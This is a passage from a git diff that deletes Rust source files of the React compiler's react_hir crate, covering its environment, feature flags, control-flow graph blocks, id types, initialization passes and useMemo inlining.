-    pub terminal: Terminal,
-
-    /// The immediate predecessors of this block
-    pub predecessors: IndexSet<BlockId>,
-
-    pub phis: Vec<Phi>,
-}
-
-#[derive(Debug)]
-pub struct Phi {
-    pub identifier: Identifier,
-    pub operands: IndexMap<BlockId, Identifier>,
-}
-
-#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)]
-pub enum BlockKind {
-    Block,
-    Value,
-    Loop,
-    Sequence,
-}
-
-impl Display for BlockKind {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        match self {
-            Self::Block => f.write_str("block"),
-            Self::Value => f.write_str("value"),
-            Self::Loop => f.write_str("loop"),
-            Self::Sequence => f.write_str("sequence"),
-        }
-    }
-}
diff --git a/compiler/crates/react_hir/src/environment.rs b/compiler/crates/react_hir/src/environment.rs
deleted file mode 100644
index bf9c91a47e51..000000000000
--- a/compiler/crates/react_hir/src/environment.rs
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::cell::{Cell, RefCell};
-use std::collections::HashMap;
-use std::rc::Rc;
-
-use react_estree::ESTreeNode;
-use react_semantic_analysis::{DeclarationId, ScopeManager, ScopeView};
-
-use crate::{
-    BlockId, Features, Identifier, IdentifierData, IdentifierId, MutableRange, Registry, Type,
-    TypeVarId,
-};
-
-/// Stores all the contextual information about the top-level React function being
-/// compiled. Environments may not be reused between React functions, but *are*
-/// shared between each React function and all its nested function expressions.
-#[derive(Debug)]
-pub struct Environment {
-    /// The set of enabled compiler features
-    pub features: Features,
-
-    /// Definitions for functions, hooks, and types which are used to compile more
-    /// precisely
-    #[allow(dead_code)]
-    registry: Registry,
-
-    /// The next available block index
-    next_block_id: Cell<BlockId>,
-
-    /// The next available identifier id
-    next_identifier_id: Cell<IdentifierId>,
-
-    analysis: ScopeManager,
-
-    next_type_var_id: Cell<TypeVarId>,
-
-    bindings: Rc<RefCell<HashMap<DeclarationId, Identifier>>>,
-}
-
-impl Environment {
-    pub fn new(features: Features, registry: Registry, analysis: ScopeManager) -> Self {
-        Self {
-            features,
-            registry,
-            analysis,
-            next_block_id: Cell::new(BlockId(0)),
-            next_identifier_id: Cell::new(IdentifierId(0)),
-            next_type_var_id: Cell::new(TypeVarId(0)),
-            bindings: Default::default(),
-        }
-    }
-
-    /// Get the next available block id
-    pub fn next_block_id(&self) -> BlockId {
-        let id = self.next_block_id.get();
-        self.next_block_id.set(id.next());
-        id
-    }
-
-    /// Get the next available identifier id
-    pub fn next_identifier_id(&self) -> IdentifierId {
-        let id = self.next_identifier_id.get();
-        self.next_identifier_id.set(id.next());
-        id
-    }
-
-    /// Get the next available type var
-    pub fn next_type_var_id(&self) -> TypeVarId {
-        let id = self.next_type_var_id.get();
-        self.next_type_var_id.set(id.next());
-        id
-    }
-
-    pub fn resolve_variable_declaration<T: ESTreeNode>(
-        &self,
-        node: &T,
-        name: &str,
-    ) -> Option<Identifier> {
-        let declaration = self.analysis.node_declaration(node)?;
-        let mut bindings = self.bindings.borrow_mut();
-        if let Some(identifier) = bindings.get(&declaration.id) {
-            Some(identifier.clone())
-        } else {
-            let id = self.next_identifier_id();
-            let identifier = Identifier {
-                id,
-                name: Some(name.to_string()),
-                data: Rc::new(RefCell::new(IdentifierData {
-                    mutable_range: Default::default(),
-                    scope: None,
-                    type_: Type::Var(self.next_type_var_id()),
-                })),
-            };
-            bindings.insert(declaration.id, identifier.clone());
-            Some(identifier)
-        }
-    }
-
-    pub fn resolve_variable_reference<T: ESTreeNode>(&self, node: &T) -> Option<Identifier> {
-        let reference = self.analysis.node_reference(node)?;
-        let bindings = self.bindings.borrow();
-        let declaration = self.analysis.declaration(reference.declaration);
-        let identifier = bindings.get(&declaration.id)?;
-        Some(identifier.clone())
-    }
-
-    pub fn resolve_declaration_id(&self, id: DeclarationId) -> Option<Identifier> {
-        let bindings = self.bindings.borrow();
-        let identifier = bindings.get(&id)?;
-        Some(identifier.clone())
-    }
-
-    pub fn scope<T: ESTreeNode>(&self, node: &T) -> Option<ScopeView<'_>> {
-        self.analysis.node_scope_view(node)
-    }
-
-    pub fn new_temporary(&self) -> Identifier {
-        Identifier {
-            id: self.next_identifier_id(),
-            name: None,
-            data: Rc::new(RefCell::new(IdentifierData {
-                mutable_range: MutableRange::new(),
-                scope: None,
-                type_: Type::Var(self.next_type_var_id()),
-            })),
-        }
-    }
-}
diff --git a/compiler/crates/react_hir/src/features.rs b/compiler/crates/react_hir/src/features.rs
deleted file mode 100644
index bbe9ffbd8e69..000000000000
--- a/compiler/crates/react_hir/src/features.rs
+++ /dev/null
@@ -1,19 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use serde::{Deserialize, Serialize};
-
-/// Describes the feature flags available to control compilation and validation.
-/// This type is serializable in order to support parsing from config files or
-/// serialized values when invoked from other languages.
-#[derive(Serialize, Deserialize, Debug)]
-pub struct Features {
-    /// Validate that mutable lambdas are not passed where a frozen value is expected,
-    /// since mutable lambdas cannot be frozen. The only mutation allowed inside a
-    /// frozen lambda is of ref values.
-    pub validate_frozen_lambdas: bool,
-}
diff --git a/compiler/crates/react_hir/src/function.rs b/compiler/crates/react_hir/src/function.rs
deleted file mode 100644
index b05613ca7aca..000000000000
--- a/compiler/crates/react_hir/src/function.rs
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-use indexmap::IndexMap;
-use react_diagnostics::Diagnostic;
-
-use crate::{BasicBlock, BlockId, FunctionExpression, IdentifierOperand, InstrIx, Instruction};
-
-/// Represents either a React function or a function expression
-#[derive(Debug)]
-pub struct Function {
-    pub id: Option<String>,
-    pub body: HIR,
-    pub params: Vec<IdentifierOperand>,
-    pub context: Vec<IdentifierOperand>,
-    pub is_async: bool,
-    pub is_generator: bool,
-}
-
-/// Represents the body of a `Function` as a control-flow graph.
-/// Blocks are stored in reverse postorder (predecessors before successors)
-/// so that compiler passes can complete forward data flow analysis in a
-/// single pass over the CFG in the case where there are no loops.
-#[derive(Debug)]
-pub struct HIR {
-    /// The id of the first block
-    pub entry: BlockId,
-
-    /// Blocks are stored in a map for easy retrieval by their id,
-    /// but the blocks are in reverse postorder
-    pub blocks: Blocks,
-
-    /// All instructions for the block. This may contain unused items,
-    pub instructions: Vec<Instruction>,
-}
-
-impl HIR {
-    pub fn inline(&mut self, other: FunctionExpression) {
-        let offset = self.instructions.len();
-        for instr in other.lowered_function.body.instructions.into_iter() {
-            self.instructions.push(instr);
-        }
-        for mut block in other.lowered_function.body.blocks.into_iter() {
-            for ix in block.instructions.iter_mut() {
-                *ix = InstrIx::new((offset + usize::from(*ix)) as u32);
-            }
-            self.blocks.insert(block);
-        }
-    }
-}
-
-#[derive(Default, Debug)]
-pub struct Blocks {
-    data: IndexMap<BlockId, Option<Box<BasicBlock>>>,
-}
-
-impl Blocks {
-    pub fn new() -> Self {
-        Self {
-            data: Default::default(),
-        }
-    }
-
-    pub fn with_capacity(capacity: usize) -> Self {
-        Self {
-            data: IndexMap::with_capacity(capacity),
-        }
-    }
-
-    pub fn len(&self) -> usize {
-        self.data.len()
-    }
-
-    pub fn insert(&mut self, block: Box<BasicBlock>) -> Option<Option<Box<BasicBlock>>> {
-        self.data.insert(block.id, Some(block))
-    }
-
-    pub fn block_ids(&self) -> std::vec::Vec<BlockId> {
-        self.data.keys().cloned().collect()
-    }
-
-    pub fn remove(&mut self, id: BlockId) -> Box<BasicBlock> {
-        self.data.remove(&id).unwrap().unwrap()
-    }
-
-    pub fn extend(&mut self, other: Self) {
-        self.data.extend(other.data);
-    }
-
-    pub fn into_iter(self) -> BlocksIntoIter {
-        BlocksIntoIter::new(self.data.into_iter())
-    }
-
-    pub fn block(&self, id: BlockId) -> &BasicBlock {
-        self.data.get(&id).unwrap().as_ref().unwrap()
-    }
-
-    pub fn block_mut(&mut self, id: BlockId) -> &mut BasicBlock {
-        self.data.get_mut(&id).unwrap().as_mut().unwrap()
-    }
-
-    pub fn iter(&self) -> BlocksIter<'_> {
-        BlocksIter::new(self.data.iter())
-    }
-
-    pub fn iter_mut(&mut self) -> BlocksIterMut<'_> {
-        BlocksIterMut::new(self.data.iter_mut())
-    }
-}
-pub struct BlocksIntoIter {
-    iter: indexmap::map::IntoIter<BlockId, Option<Box<BasicBlock>>>,
-}
-
-impl BlocksIntoIter {
-    fn new(iter: indexmap::map::IntoIter<BlockId, Option<Box<BasicBlock>>>) -> Self {
-        Self { iter }
-    }
-}
-
-impl Iterator for BlocksIntoIter {
-    type Item = Box<BasicBlock>;
-
-    fn size_hint(&self) -> (usize, Option<usize>) {
-        self.iter.size_hint()
-    }
-
-    fn next(&mut self) -> Option<Self::Item> {
-        loop {
-            match self.iter.next() {
-                Some((_, Some(next))) => return Some(next),
-                Some((_, None)) => continue,
-                None => return None,
-            }
-        }
-    }
-}
-
-pub struct BlocksIter<'b> {
-    iter: indexmap::map::Iter<'b, BlockId, Option<Box<BasicBlock>>>,
-}
-
-impl<'b> BlocksIter<'b> {
-    fn new(iter: indexmap::map::Iter<'b, BlockId, Option<Box<BasicBlock>>>) -> Self {
-        Self { iter }
-    }
-}
-
-impl<'b> Iterator for BlocksIter<'b> {
-    type Item = &'b BasicBlock;
-
-    fn size_hint(&self) -> (usize, Option<usize>) {
-        self.iter.size_hint()
-    }
-
-    fn next(&mut self) -> Option<Self::Item> {
-        self.iter
-            .next()
-            .and_then(|(_, block)| block.as_ref())
-            .map(|block| block.as_ref())
-    }
-}
-
-pub struct BlocksIterMut<'b> {
-    iter: indexmap::map::IterMut<'b, BlockId, Option<Box<BasicBlock>>>,
-}
-
-impl<'b> BlocksIterMut<'b> {
-    fn new(iter: indexmap::map::IterMut<'b, BlockId, Option<Box<BasicBlock>>>) -> Self {
-        Self { iter }
-    }
-}
-
-impl<'b> Iterator for BlocksIterMut<'b> {
-    type Item = &'b mut BasicBlock;
-
-    fn size_hint(&self) -> (usize, Option<usize>) {
-        self.iter.size_hint()
-    }
-
-    fn next(&mut self) -> Option<Self::Item> {
-        self.iter
-            .next()
-            .and_then(|(_, block)| block.as_mut())
-            .map(|block| block.as_mut())
-    }
-}
-
-pub struct BlockRewriter<'blocks> {
-    blocks: &'blocks mut Blocks,
-    current: BlockId,
-    new_blocks: std::vec::Vec<Box<BasicBlock>>,
-}
-
-impl<'blocks> BlockRewriter<'blocks> {
-    pub fn new(blocks: &'blocks mut Blocks, entry: BlockId) -> Self {
-        Self {
-            blocks,
-            current: entry,
-            new_blocks: Default::default(),
-        }
-    }
-
-    pub fn each_block<F>(&mut self, mut f: F)
-    where
-        F: FnMut(Box<BasicBlock>, &mut Self) -> BlockRewriterAction,
-    {
-        let mut keys = self.blocks.block_ids();
-        loop {
-            for block_id in keys {
-                self.current = block_id;
-                let block = self.blocks.data.get_mut(&block_id).unwrap().take().unwrap();
-                match f(block, self) {
-                    BlockRewriterAction::Keep(block) => {
-                        self.blocks.data.insert(block_id, Some(block));
-                    }
-                    BlockRewriterAction::Remove => {
-                        self.blocks.data.remove(&block_id);
-                    }
-                }
-            }
-            if !self.new_blocks.is_empty() {
-                keys = self.new_blocks.iter().map(|block| block.id).collect();
-                for block in self.new_blocks.drain(..) {
-                    self.blocks.insert(block);
-                }
-                continue;
-            } else {
-                break;
-            }
-        }
-    }
-
-    pub fn try_each_block<F>(&mut self, mut f: F) -> Result<(), Diagnostic>
-    where
-        F: FnMut(Box<BasicBlock>, &mut Self) -> Result<BlockRewriterAction, Diagnostic>,
-    {
-        let mut keys = self.blocks.block_ids();
-        loop {
-            for block_id in keys {
-                self.current = block_id;
-                let block = self.blocks.data.get_mut(&block_id).unwrap().take().unwrap();
-                match f(block, self)? {
-                    BlockRewriterAction::Keep(block) => {
-                        self.blocks.data.insert(block_id, Some(block));
-                    }
-                    BlockRewriterAction::Remove => {
-                        self.blocks.data.remove(&block_id);
-                    }
-                }
-            }
-            if !self.new_blocks.is_empty() {
-                keys = self.new_blocks.iter().map(|block| block.id).collect();
-                for block in self.new_blocks.drain(..) {
-                    self.blocks.insert(block);
-                }
-                continue;
-            } else {
-                break;
-            }
-        }
-        Ok(())
-    }
-
-    pub fn contains(&self, block_id: BlockId) -> bool {
-        assert_ne!(block_id, self.current);
-        self.blocks.data.contains_key(&block_id)
-    }
-
-    pub fn block(&self, block_id: BlockId) -> &BasicBlock {
-        assert_ne!(block_id, self.current);
-        self.blocks.block(block_id)
-    }
-
-    pub fn block_mut(&mut self, block_id: BlockId) -> &mut BasicBlock {
-        assert_ne!(block_id, self.current);
-        self.blocks.block_mut(block_id)
-    }
-
-    pub fn add_block(&mut self, block: Box<BasicBlock>) {
-        self.new_blocks.push(block);
-    }
-}
-
-pub enum BlockRewriterAction {
-    Keep(Box<BasicBlock>),
-    Remove,
-}
diff --git a/compiler/crates/react_hir/src/id_types.rs b/compiler/crates/react_hir/src/id_types.rs
deleted file mode 100644
index 036a7d6aec0c..000000000000
--- a/compiler/crates/react_hir/src/id_types.rs
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::fmt::Display;
-
-/// Unique identifier for a basic block. Values are unique only with respect to
-/// a single top-level function, and may be reused across different top-level
-/// functions. Notably, ids *are* unique across the basic blocks of a function
-/// and its inner function expressions. This makes it easy to inline the contents
-/// of a function expression without re-identifying blocks.
-#[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Hash, Debug)]
-pub struct BlockId(pub(crate) u32);
-
-impl BlockId {
-    pub(crate) fn next(self) -> Self {
-        Self(self.0 + 1)
-    }
-}
-
-impl Display for BlockId {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.write_fmt(format_args!("bb{}", self.0))
-    }
-}
-
-/// Unique identifier for a variable within a program. This is used to distinguish
-/// different instances of a variable with the same name in different scopes, or
-/// even the same named identifier across reassignments (when in SSA form).
-#[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Hash, Debug)]
-pub struct IdentifierId(pub(crate) u32);
-
-impl IdentifierId {
-    pub(crate) fn next(self) -> Self {
-        Self(self.0 + 1)
-    }
-}
-
-impl Display for IdentifierId {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.write_fmt(format_args!("${}", self.0))
-    }
-}
-
-#[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Hash, Debug)]
-pub struct TypeVarId(pub(crate) u32);
-
-impl TypeVarId {
-    pub(crate) fn next(self) -> Self {
-        Self(self.0 + 1)
-    }
-}
-
-/// Used to globally order the instructions and terminals within the scope
-/// of a given HIR value. Instructions and terminals are ordered using
-/// reverse postorder iteration of block instructions and their terminals.
-///
-/// TODO: rename to more clearly indicate that this is for sequencing
-/// and to reflect that it is applied to terminals as well
-#[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Hash, Debug)]
-pub struct InstructionId(pub(crate) u32);
-
-impl Display for InstructionId {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.write_fmt(format_args!("[{}]", self.0))
-    }
-}
-
-pub struct InstructionIdGenerator(u32);
-
-impl InstructionIdGenerator {
-    pub fn new() -> Self {
-        Self(0)
-    }
-
-    pub fn next(&mut self) -> InstructionId {
-        let id = self.0;
-        self.0 += 1;
-        InstructionId(id)
-    }
-}
-
-/// Uniquely identifies a reactive scope
-#[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Hash, Debug)]
-pub struct ScopeId(pub(crate) u32);
-
-/// Uniquely identifiers a builtin function type in the type registry
-#[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Hash, Debug)]
-pub struct FunctionId(pub(crate) u32);
-
-/// Uniquely identifiers a builtin object type in the type registry
-#[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Hash, Debug)]
-pub struct ObjectId(pub(crate) u32);
-
-#[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Hash, Debug)]
-pub struct InstrIx(pub(crate) u32);
-
-impl InstrIx {
-    pub fn new(value: u32) -> Self {
-        Self(value)
-    }
-}
-
-impl From<InstrIx> for usize {
-    fn from(value: InstrIx) -> Self {
-        value.0 as usize
-    }
-}
-
-impl Display for InstrIx {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.write_fmt(format_args!("#{}", self.0))
-    }
-}
diff --git a/compiler/crates/react_hir/src/initialize.rs b/compiler/crates/react_hir/src/initialize.rs
deleted file mode 100644
index 0f5d5e9ce985..000000000000
--- a/compiler/crates/react_hir/src/initialize.rs
+++ /dev/null
@@ -1,194 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::collections::HashSet;
-
-use react_diagnostics::{invariant, Diagnostic};
-use thiserror::Error;
-
-use crate::{
-    BlockId, BlockRewriter, BlockRewriterAction, Blocks, GotoKind, GotoTerminal,
-    InstructionIdGenerator, InstructionValue, TerminalValue, HIR,
-};
-
-/// Runs a variety of passes to put the HIR in canonical form. This should be called
-/// after initial HIR construction and after any transformations that change the
-/// shape of the control-flow graph.
-pub fn initialize_hir(hir: &mut HIR) -> Result<(), Diagnostic> {
-    prune_tombstones(hir);
-    reverse_postorder_blocks(hir);
-    remove_unreachable_for_updates(hir);
-    remove_unreachable_fallthroughs(hir);
-    remove_unreachable_do_while_statements(hir);
-    mark_instruction_ids(hir)?;
-    mark_predecessors(hir);
-    Ok(())
-}
-
-pub fn prune_tombstones(hir: &mut HIR) {
-    for block in hir.blocks.iter_mut() {
-        block.instructions.retain(|ix| {
-            let instr = &hir.instructions[usize::from(*ix)];
-            // Retain all values that are not the tombstone
-            !matches!(instr.value, InstructionValue::Tombstone)
-        });
-    }
-}
-
-/// Modifies the HIR to put the blocks in reverse postorder, with predecessors before
-/// successors (except for the case of loops)
-pub fn reverse_postorder_blocks(hir: &mut HIR) {
-    let mut visited = HashSet::<BlockId>::with_capacity(hir.blocks.len());
-    let mut postorder = std::vec::Vec::<BlockId>::with_capacity(hir.blocks.len());
-    fn visit(
-        block_id: BlockId,
-        hir: &HIR,
-        visited: &mut HashSet<BlockId>,
-        postorder: &mut std::vec::Vec<BlockId>,
-    ) {
-        if !visited.insert(block_id) {
-            // already visited
-            return;
-        }
-        let block = hir.blocks.block(block_id);
-        let terminal = &block.terminal;
-        match &terminal.value {
-            TerminalValue::Branch(terminal) => {
-                visit(terminal.alternate, hir, visited, postorder);
-                visit(terminal.consequent, hir, visited, postorder);
-            }
-            TerminalValue::If(terminal) => {
-                visit(terminal.alternate, hir, visited, postorder);
-                visit(terminal.consequent, hir, visited, postorder);
-            }
-            TerminalValue::For(terminal) => {
-                visit(terminal.init, hir, visited, postorder);
-            }
-            TerminalValue::DoWhile(terminal) => {
-                visit(terminal.body, hir, visited, postorder);
-            }
-            TerminalValue::Goto(terminal) => {
-                visit(terminal.block, hir, visited, postorder);
-            }
-            TerminalValue::Label(terminal) => {
-                visit(terminal.block, hir, visited, postorder);
-            }
-            TerminalValue::Return(..) => { /* no-op */ }
-            TerminalValue::Unsupported(..) => {
-                panic!("Unexpected unsupported terminal")
-            }
-        }
-        postorder.push(block_id);
-    }
-    visit(hir.entry, &hir, &mut visited, &mut postorder);
-
-    // NOTE: could consider sorting the blocks in-place by key
-    let mut blocks = Blocks::with_capacity(hir.blocks.len());
-    for id in postorder.iter().rev().cloned() {
-        blocks.insert(hir.blocks.remove(id));
-    }
-
-    hir.blocks = blocks;
-}
-
-/// Prunes ForTerminal.update values (sets to None) if they are unreachable
-pub fn remove_unreachable_for_updates(hir: &mut HIR) {
-    BlockRewriter::new(&mut hir.blocks, hir.entry).each_block(|mut block, rewriter| {
-        if let TerminalValue::For(terminal) = &mut block.terminal.value {
-            if let Some(update) = terminal.update {
-                if !rewriter.contains(update) {
-                    terminal.update = None;
-                }
-            }
-        }
-        BlockRewriterAction::Keep(block)
-    });
-}
-
-/// Prunes unreachable fallthrough values, setting them to None if the referenced
-/// block was not otherwise reachable.
-pub fn remove_unreachable_fallthroughs(hir: &mut HIR) {
-    BlockRewriter::new(&mut hir.blocks, hir.entry).each_block(|mut block, rewriter| {
-        block
-            .terminal
-            .value
-            .map_optional_fallthroughs(|fallthrough| {
-                if rewriter.contains(fallthrough) {
-                    Some(fallthrough)
-                } else {
-                    None
-                }
-            });
-        BlockRewriterAction::Keep(block)
-    });
-}
-
-/// Rewrites DoWhile statements into Gotos if the test block is not reachable
-pub fn remove_unreachable_do_while_statements(hir: &mut HIR) {
-    BlockRewriter::new(&mut hir.blocks, hir.entry).each_block(|mut block, rewriter| {
-        if let TerminalValue::DoWhile(terminal) = &mut block.terminal.value {
-            if !rewriter.contains(terminal.test) {
-                block.terminal.value = TerminalValue::Goto(GotoTerminal {
-                    block: terminal.body,
-                    kind: GotoKind::Break,
-                });
-            }
-        }
-        BlockRewriterAction::Keep(block)
-    });
-}
-
-/// Updates the instruction ids for all instructions and blocks
-/// Relies on the blocks being in reverse postorder to ensure that id ordering is correct
-pub fn mark_instruction_ids(hir: &mut HIR) -> Result<(), Diagnostic> {
-    let mut id_gen = InstructionIdGenerator::new();
-    let mut visited = HashSet::<(usize, usize)>::new();
-    for (ii, block) in hir.blocks.iter_mut().enumerate() {
-        let block_id = block.id;
-        for (jj, instr_ix) in block.instructions.iter_mut().enumerate() {
-            invariant(visited.insert((ii, jj)), || {
-                Diagnostic::invariant(BlockVisitedTwice { block: block_id }, None)
-            })?;
-            let instr = &mut hir.instructions[usize::from(*instr_ix)];
-            instr.id = id_gen.next();
-        }
-        block.terminal.id = id_gen.next();
-    }
-    Ok(())
-}
-
-#[derive(Error, Debug)]
-#[error("Invariant: Expected block {block} not to have been visited yet")]
-pub struct BlockVisitedTwice {
-    block: BlockId,
-}
-
-/// Updates the predecessors of each block
-pub fn mark_predecessors(hir: &mut HIR) {
-    for block in hir.blocks.iter_mut() {
-        block.predecessors.clear();
-    }
-    let mut visited = HashSet::<BlockId>::with_capacity(hir.blocks.len());
-    fn visit(
-        block_id: BlockId,
-        prev_id: Option<BlockId>,
-        hir: &mut HIR,
-        visited: &mut HashSet<BlockId>,
-    ) {
-        let block = hir.blocks.block_mut(block_id);
-        if let Some(prev_id) = prev_id {
-            block.predecessors.insert(prev_id);
-        }
-        if !visited.insert(block_id) {
-            return;
-        }
-        for successor in block.terminal.value.successors() {
-            visit(successor, Some(block_id), hir, visited)
-        }
-    }
-    visit(hir.entry, None, hir, &mut visited);
-}
diff --git a/compiler/crates/react_hir/src/inline_use_memo.rs b/compiler/crates/react_hir/src/inline_use_memo.rs
deleted file mode 100644
index d015379349e4..000000000000
--- a/compiler/crates/react_hir/src/inline_use_memo.rs
+++ /dev/null
@@ -1,267 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::cell::RefCell;
-use std::collections::{HashMap, HashSet};
-use std::rc::Rc;
-
-use react_diagnostics::Diagnostic;
-
-use crate::{
-    initialize_hir, BasicBlock, BlockRewriter, BlockRewriterAction, DeclareLocal, Environment,
-    Function, GotoKind, GotoTerminal, Identifier, IdentifierData, IdentifierId, IdentifierOperand,
-    InstrIx, Instruction, InstructionKind, InstructionValue, LValue, LabelTerminal, LoadLocal,
-    MutableRange, PlaceOrSpread, ReturnTerminal, StoreLocal, Terminal, TerminalValue, Type,
-};
-
-/// Inlines `useMemo()` calls, rewriting so that the lambda body becomes part of the
-/// outer block's instructions. To account for complex control flow, the inlining works
-/// as follows:
-/// * First, block ids are guaranteed to be unique for all blocks within a function and
-///   its recursive function expressions. Thus, the function expression's blocks can be
-///   directly moved into the outer function's `blocks` map.
-/// * To account for complex control flow, we create a "label" terminal just prior to
-///   the useMemo call, with the useMemo function's entry block as the body of the
-///   label terminal. The code following the useMemo call becomes the fallthrough.
-///   All returns within the useMemo are translated to instead:
-///   * Assign to a temporary identifier representing the useMemo result
-///   * Break to the label's fallthrough.
-///
-/// ## Example
-///
-/// Input:
-/// ```javascript
-/// foo();
-/// const x = useMemo(() => {
-///   if (a) {
-///     return b;
-///   }
-///   return c;
-/// })
-/// x;
-/// ```
-///
-/// HIR after translation:
-/// ```hir
-/// bb0:
-///   [ 1] #1 = LoadLocal 'foo'
-///   [ 2] #2 = Call #1()
-///   // label to allow substituting return -> goto in the lambda body
-///   [ 3] Label body=bb1 fallthrough=bb4
-/// bb1:
-///   [ 4] #3 = LoadLocal 'a'
-///   [ 5] If test=#3 consequent=bb2 alternate=bb3
-/// bb2:
-///   [ 6] #4 = LoadLocal 'b'
-///   [ 7] StoreLocal '<tmp>', #4
-///   [ 8] Goto bb4
-/// bb3:
-///   [ 9] #5 = LoadLocal 'c'
-///   [10] StoreLocal '<tmp>' #5
-///   [11] Goto bb4
-/// bb4:
-///    // code after the useMemo. save the temporary
-///   [12] #6 = LoadLocal '<tmp>'
-///   [13] StoreLocal 'x', #6
-/// ```
-///
-pub fn inline_use_memo(env: &Environment, fun: &mut Function) -> Result<(), Diagnostic> {
-    let mut use_memo_globals: HashSet<IdentifierId> = Default::default();
-    let mut functions: HashMap<IdentifierId, InstrIx> = Default::default();
-
-    let blocks = &mut fun.body.blocks;
-    let instructions = &mut fun.body.instructions;
-    let mut rewriter = BlockRewriter::new(blocks, fun.body.entry);
-
-    let mut inlined = Vec::new();
-
-    rewriter.try_each_block(|mut block, rewriter| {
-        for (i, instr_ix) in block.instructions.iter().cloned().enumerate() {
-            let instr = &mut instructions[usize::from(instr_ix)];
-            match &mut instr.value {
-                InstructionValue::LoadGlobal(value) => {
-                    if value.name.as_str() == "useMemo" {
-                        use_memo_globals.insert(instr.lvalue.identifier.id);
-                    }
-                }
-                InstructionValue::Function(_) => {
-                    functions.insert(instr.lvalue.identifier.id, instr_ix);
-                }
-                InstructionValue::Call(value) => {
-                    if !use_memo_globals.contains(&value.callee.identifier.id) {
-                        continue;
-                    }
-                    // Skip useMemo calls where the argument is a spread element
-                    let lambda_id = match &value.arguments.get(0) {
-                        Some(PlaceOrSpread::Place(place)) => place.identifier.id,
-                        _ => continue,
-                    };
-                    let lambda_ix = match functions.get(&lambda_id) {
-                        Some(ix) => *ix,
-                        // Skip useMemo calls where the argument is not a function expression
-                        _ => continue,
-                    };
-                    let instr_id = instr.id;
-
-                    // Create a temporary variable to store the useMemo result into
-                    let temporary_id = env.next_identifier_id();
-                    let temporary = Identifier {
-                        id: temporary_id,
-                        // NOTE: for memoization to work correctly this variable has to be named
-                        name: Some("t".to_string()),
-                        data: Rc::new(RefCell::new(IdentifierData {
-                            mutable_range: MutableRange::new(),
-                            scope: None,
-                            type_: Type::Var(env.next_type_var_id()),
-                        })),
-                    };
-                    // Replace the call with a load of the temporary
-                    // this is convenient since consumers of the useMemo call
-                    // already point to this instruction id, so by reusing the
-                    // instruction we don't have to update the consumer(s) to
-                    // look at a different instruction
-                    instr.value = InstructionValue::LoadLocal(LoadLocal {
-                        place: IdentifierOperand {
-                            identifier: temporary.clone(),
-                            effect: None,
-                        },
-                    });
-
-                    // Move the function expression out of its instruction so that we own
-                    // the value and can modify and inline its contents into the outer
-                    // function. We replace with a tombstone value that we can filter out later
-                    let lambda = std::mem::replace(
-                        &mut instructions[usize::from(lambda_ix)].value,
-                        InstructionValue::Tombstone,
-                    );
-                    let mut lambda = if let InstructionValue::Function(lambda) = lambda {
-                        lambda
-                    } else {
-                        unreachable!("Must be a function, checked above")
-                    };
-
-                    // Additional validation
-                    // TODO: this should be part of a separate validation pass
-                    if !lambda.lowered_function.params.is_empty() {
-                        return Err(Diagnostic::invalid_react(
-                            "useMemo callbacks may not accept any arguments",
-                            None,
-                        ));
-                    }
-                    if lambda.lowered_function.is_async || lambda.lowered_function.is_generator {
-                        return Err(Diagnostic::invalid_react(
-                            "useMemo callbacks may not be async or generator functions",
-                            None,
-                        ));
-                    }
-
-                    // Set aside a BlockId for the code that follows the useMemo call
-                    let continuation_block_id = env.next_block_id();
-
-                    // Rewrite the body of the lambda to replace any return terminals
-                    // with an assignment to the useMemo temporary followed by a break
-                    // to the continuation block
-                    for block in lambda.lowered_function.body.blocks.iter_mut() {
-                        if let TerminalValue::Return(ReturnTerminal { value }) =
-                            &mut block.terminal.value
-                        {
-                            let store_ix = InstrIx::new(
-                                lambda.lowered_function.body.instructions.len() as u32,
-                            );
-                            lambda.lowered_function.body.instructions.push(Instruction {
-                                id: instr_id,
-                                lvalue: IdentifierOperand {
-                                    identifier: env.new_temporary(),
-                                    effect: None,
-                                },
-                                value: InstructionValue::StoreLocal(StoreLocal {
-                                    lvalue: LValue {
-                                        identifier: IdentifierOperand {
-                                            identifier: temporary.clone(),
-                                            effect: None,
-                                        },
-                                        kind: InstructionKind::Reassign,
-                                    },
-                                    value: value.clone(),
-                                }),
-                            });
-                            block.instructions.push(store_ix);
-                            block.terminal.value = TerminalValue::Goto(GotoTerminal {
-                                block: continuation_block_id,
-                                kind: GotoKind::Break,
-                            });
-                        }
-                    }
-
-                    // Extract the block's original terminal, which we will move to the
-                    // continuation block. Replace it with a label terminal, necessary to
-                    // allow the goto statements to have a target.
-                    let terminal_id = block.terminal.id;
-                    let terminal = std::mem::replace(
